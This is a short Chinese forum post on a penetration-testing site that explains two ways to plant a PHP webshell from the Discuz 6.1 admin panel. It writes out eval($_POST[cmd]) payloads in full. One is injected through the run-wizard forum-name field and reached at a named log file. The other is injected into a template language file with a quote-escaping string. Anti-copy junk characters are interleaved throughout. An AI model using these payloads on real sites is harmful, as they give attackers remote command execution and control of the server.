中国网络渗透测试联盟
标题:
discuz6.1后台拿shell方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:59
标题:
discuz6.1后台拿shell方法
discuz6.1两种方法后台拿shell
2 `! s. J# }( Q% r/ m7 n( P; s- E
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
* R. @* Z5 d# ^/ M2 l I
1:
( j3 \" D+ r! f! Q! Y3 H, {2 D
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
, C. U8 s+ ?# D5 S0 t. N! O
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
! z+ h8 I3 m7 r( f
<?php eval($_POST[cmd]);?>
- | ]- e$ Q7 P. `$ x% o7 G7 B
后台webshell地址：
http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
( h, W- y! H6 P& ], X0 m
0 X3 Z: N$ Y$ i
& Q+ j6 k3 Q i( ~ i a
2:后台模板管理--默认模板套系--详情
) Y- _ ^2 G$ [" w1 [) L$ m
templates/default/actions.lang.php
# D: {* |* j% z6 F+ W& J" j( `$ j
jhackj\\');eval($_POST[cmd])?>;//
$ ] t' {; L+ C6 ?1 a
# p0 B# h$ m3 W7 z( G ^9 _* D) I
利用很简单,聪明的人一看就懂了
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2